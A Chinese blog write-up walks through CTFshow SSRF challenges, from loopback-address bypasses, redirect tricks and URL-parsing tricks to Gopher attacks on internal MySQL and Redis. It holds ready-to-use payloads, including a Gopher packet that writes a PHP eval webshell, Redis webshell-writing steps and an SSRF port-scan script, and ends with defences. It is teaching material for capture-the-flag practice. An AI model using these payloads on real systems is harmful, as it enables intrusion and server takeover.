CTFshow SSRF实战进阶:从基础绕过到Gopher协议内网渗透
最近在整理CTF题目笔记时,发现SSRF这个漏洞类型在CTFshow系列中占据了相当重要的位置。从基础的本地文件读取到复杂的Gopher协议攻击内网服务,SSRF的利用场景远比想象中丰富。这篇文章我想结合自己的实战经验,系统梳理一下SSRF漏洞的利用技巧,特别是那些在CTF比赛中经常遇到的绕过手法和高级攻击方式。
如果你刚开始接触SSRF,可能会觉得它只是“让服务器帮你发请求”这么简单。但真正深入后会发现,这个漏洞的威力很大程度上取决于你对各种协议特性、网络架构和过滤机制的理解。我最初做CTFshow的SSRF题目时,也是从最简单的file://协议读文件开始,一步步遇到各种限制,然后被迫去学习各种绕过技巧,这个过程虽然痛苦,但收获确实很大。
1. SSRF基础与常见危险函数
SSRF(Server-Side Request Forgery)的核心在于“服务器端请求伪造”。简单来说,就是攻击者能够控制服务器向特定目标发起请求。这种漏洞之所以危险,是因为服务器通常位于内网或拥有更高的权限,能够访问到外部攻击者无法直接接触的资源。
1.1 PHP中常见的SSRF触发点
在PHP环境中,有几个函数特别容易引发SSRF问题:
curl_exec()函数族:这是最经典的SSRF触发点。curl_init()初始化cURL会话,curl_setopt()设置选项,curl_exec()执行请求。很多开发者在使用cURL时,没有对用户传入的URL进行严格过滤,导致攻击者可以控制请求目标。
<?php
// 典型的漏洞代码示例
$url = $_GET['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
file_get_contents()函数:这个函数不仅用于读取本地文件,也可以读取远程URL内容。当开发者使用file_get_contents($_GET['url'])这样的代码时,就为SSRF打开了大门。
fsockopen()函数:这个函数用于打开网络套接字连接,虽然使用起来比cURL复杂,但同样可以用于发起任意网络请求。
注意:在实际代码审计中,不仅要关注这些函数本身,还要注意它们的配置选项。比如
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true)会跟随重定向,这可能被用于绕过某些过滤。
1.2 协议支持与利用场景
不同的函数和配置支持的协议有所不同,这直接影响了SSRF的利用面:
| 协议 | 典型用途 | 常见限制 |
|---|---|---|
file:// | 读取本地文件 | 通常被禁用或限制 |
http:// | 访问Web资源 | 最常用,限制也最多 |
https:// | 加密Web访问 | 同http |
gopher:// | 通用协议,可构造任意TCP数据 | 很多环境默认不支持 |
dict:// | 字典协议,可用于端口探测 | 使用较少 |
ftp:// | 文件传输协议 | 可用于文件上传 |
在实际的CTF题目中,出题人往往会逐步增加限制,迫使选手思考如何绕过。比如从最简单的无过滤,到限制协议类型,再到过滤特定关键词,最后到复杂的IP检测机制。
2. 基础绕过技巧与实战应用
CTFshow的SSRF题目设计很有层次感,从web351到web360,难度逐步提升。我们来看看其中几个典型的绕过场景。
2.1 本地地址的多种表示形式
最简单的SSRF题目(如web351)通常没有任何过滤,直接使用http://127.0.0.1/flag.php就能读取flag。但到了web352,代码开始过滤localhost和127.0.0:
if(!preg_match('/localhost|127.0.0/', $url)){
// 执行请求
}
这时候就需要了解IP地址的多种表示方式:
- 十进制表示:
127.0.0.1的十进制是2130706433 - 十六进制表示:
127.0.0.1可以写成0x7F000001 - 八进制表示:
127.0.0.1可以写成0177.0.0.1 - 省略形式:
127.1、0(在Linux中解析为127.0.0.1)
在web352中,使用url=http://0x7F000001/flag.php就能成功绕过。这里有个细节:parse_url()函数解析URL时,会对这些特殊格式的IP地址进行标准化处理。
2.2 长度限制下的巧妙绕过
web355和web356增加了host长度限制:
$host = $x['host'];
if((strlen($host) <= 5)){ // web355是<=5,web356是<=3
// 执行请求
}
当长度限制为5时,127.1(长度5)刚好符合要求。当限制为3时,就只能用0或127(注意127在某些环境下可能无法正确解析)。
我在这里踩过一个坑:最初以为0在所有环境下都指向127.0.0.1,后来发现这其实和操作系统有关。在Linux中,0确实解析为127.0.0.1,但在Windows中可能解析为0.0.0.0。CTF环境通常是Linux,所以这个技巧有效。
2.3 302跳转与DNS重绑定
web357的过滤更加严格:
$ip = gethostbyname($x['host']);
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
这段代码先用gethostbyname()解析域名到IP,然后用filter_var()检查IP是否在私有或保留范围内。这意味着直接使用内网IP会被拦截。
这时候有两种主流绕过方式:
302跳转:在自己的公网服务器上放置一个跳转页面
<?php
header("Location: http://127.0.0.1/flag.php");
?>
然后让目标服务器访问这个公网URL,服务器会先解析到公网IP(通过检查),然后跟随重定向访问内网资源。
DNS重绑定:利用DNS解析的时间差。设置一个域名,TTL为0,第一次解析返回公网IP,第二次解析返回127.0.0.1。这样第一次检查时通过,实际请求时访问的是本地。
提示:在实际渗透测试中,302跳转更可靠,因为DNS重绑定受很多因素影响,包括DNS缓存、解析时机等。
2.4 URL解析特性利用
web358使用了正则匹配:
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
要求URL以http://ctf.开头,以show结尾。这里可以利用@符号的特性:
http://ctf.@127.0.0.1/flag.php?show
parse_url()解析这个URL时,ctf.会被当作用户名,127.0.0.1是host,?show是查询参数,完美匹配正则。这个技巧的关键在于理解@在URL中的分隔作用:前面是认证信息,后面是实际的主机地址。
3. Gopher协议深度解析与内网攻击
从web359开始,SSRF的利用进入了新的阶段:攻击内网服务。这里主要使用Gopher协议,这也是SSRF中最强大的协议。
3.1 Gopher协议基础
Gopher是一个比较古老的协议,但现在在SSRF中焕发了新生。它的基本格式是:
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
关键点:
- 默认端口是70,但可以指定任意端口
_后面的内容会被直接作为TCP数据发送- 换行需要使用
%0d%0a(CRLF) - 数据末尾需要
%0d%0a表示结束
Gopher的强大之处在于它可以构造任意的TCP数据包,这意味着我们可以用它来攻击各种基于TCP的服务,如MySQL、Redis、Memcached等。
3.2 攻击无密码MySQL(web359)
web359提示攻击无密码的MySQL。为什么强调“无密码”?因为MySQL的认证过程比较复杂,如果有密码,需要挑战-响应机制,这在非交互模式下很难实现。而无密码的MySQL可以直接发送数据包。
攻击步骤:
- 生成Payload:使用工具如Gopherus生成攻击MySQL的payload
- 二次编码:因为数据在传输过程中会被URL解码一次,所以需要对特殊字符进行二次编码
- 发送请求:通过SSRF漏洞发送Gopher请求
Gopherus生成payload的命令:
python2 gopherus.py --exploit mysql
然后输入要执行的SQL语句,比如写入Webshell:
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'
生成的payload类似这样:
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%47%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01
注意_后面的部分需要二次编码(将%替换为%25),因为PHP接收到参数后会自动解码一次。
3.3 攻击Redis(web360)
Redis的攻击思路与MySQL类似,但命令不同。Redis未授权访问是常见的安全问题,通过SSRF利用Gopher协议攻击Redis可以写入Webshell或执行命令。
典型的Redis攻击流程:
flushall:清空所有数据set:设置键值,值中包含Webshell代码config set dir:设置保存目录config set dbfilename:设置文件名save:保存到磁盘
Gopherus生成Redis payload:
python2 gopherus.py --exploit redis
选择PHPShell,输入Web根目录(通常是/var/www/html),然后生成payload。
这里有个实际经验:有时候生成的Webshell访问会有乱码,这可能是因为Redis保存的数据格式问题。这时候可以直接用命令执行的方式,比如:
tac /f* # 读取flag文件
3.4 Gopher协议构造HTTP请求
除了攻击数据库,Gopher还可以构造完整的HTTP请求,这扩大了SSRF的攻击面。比如,可以攻击内网中的Struts2、Weblogic等存在漏洞的应用。
构造HTTP请求的关键点:
- 完整的HTTP头:包括
Host、Content-Type、Content-Length等必要头部 - 正确的换行:必须是
%0d%0a,不能只是%0a - 数据结束标记:最后要有
%0d%0a表示请求结束
例如,一个简单的GET请求:
gopher://127.0.0.1:80/_GET%20/index.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a%0d%0a
POST请求需要更多头部信息:
gopher://127.0.0.1:80/_POST%20/submit.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2013%0d%0a%0d%0ausername=admin%0d%0a
4. 高级技巧与防御思路
4.1 盲SSRF与信息探测
不是所有的SSRF都有回显。在盲SSRF场景下,我们需要通过其他方式判断请求是否成功:
- 时间延迟:如果请求一个不存在的端口,可能会快速返回;如果端口开放,连接时间会更长
- DNS外带:让服务器访问一个包含唯一子域的URL,通过DNS日志判断是否请求成功
- 错误信息:不同的错误信息可能透露目标状态
在CTF中,有时需要探测内网端口和服务。可以写一个简单的脚本来批量探测:
import requests
import time
base_url = "http://target.com/ssrf.php"
params = {"url": ""}
for port in range(1, 10000):
params["url"] = f"http://127.0.0.1:{port}"
start = time.time()
try:
r = requests.post(base_url, data=params, timeout=2)
elapsed = time.time() - start
if elapsed > 1.5: # 响应时间较长,可能端口开放
print(f"Port {port} might be open (response time: {elapsed:.2f}s)")
except:
pass
4.2 防御措施与代码审计
从开发角度,防御SSRF需要多层次的措施:
输入验证与过滤:
- 白名单机制:只允许访问特定的域名或IP
- 协议限制:只允许http/https,禁用file、gopher、dict等危险协议
- 地址过滤:阻止访问内网地址、回环地址
网络层防护:
- 出站防火墙:限制服务器只能访问必要的出口
- 网络隔离:将不同安全等级的服务放在不同网络区域
代码层面:
- 使用安全的URL解析库,正确处理URL的各个部分
- 避免直接将用户输入传递给网络请求函数
一个相对安全的示例:
<?php
function safe_request($url) {
$parsed = parse_url($url);
// 只允许http/https
if (!in_array($parsed['scheme'], ['http', 'https'])) {
return false;
}
// 解析host到IP
$ip = gethostbyname($parsed['host']);
// 检查是否为内网IP
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
// 使用curl,设置超时和重定向限制
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 不跟随重定向
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
return false;
}
?>
4.3 实际渗透中的思考
在真实渗透测试中,SSRF的利用往往需要结合其他信息:
- 信息收集:通过SSRF读取
/proc/net/arp获取内网主机信息,读取/etc/hosts了解内网结构 - 端口扫描:探测内网常见服务端口(22, 80, 443, 3306, 6379等)
- 服务识别:根据响应特征判断服务类型
- 漏洞利用:结合已知漏洞攻击内网服务
有时候,一个简单的SSRF可能成为进入内网的突破口。比如,通过SSRF访问内网的Jenkins、Confluence等管理界面,如果这些服务存在默认密码或漏洞,就可能进一步深入。
我在一次内部测试中遇到过这样的情况:一个SSRF漏洞只能访问内网的80端口,但通过仔细分析响应内容,发现是一个Jenkins服务,而且没有设置认证。通过Jenkins的脚本控制台,最终获得了服务器权限。
SSRF的学习曲线可能有点陡,特别是涉及到Gopher协议和各种绕过技巧时。但一旦掌握了这些,你会发现这个漏洞的威力远超预期。CTFshow的这10道题目很好地覆盖了SSRF的主要知识点,从基础到进阶,值得反复练习。
最后提醒一点:在实际测试中,一定要获得授权,并且注意测试的影响范围。有些攻击操作可能会对目标服务造成影响,需要谨慎评估。
1万+



被折叠的 条评论
为什么被折叠?



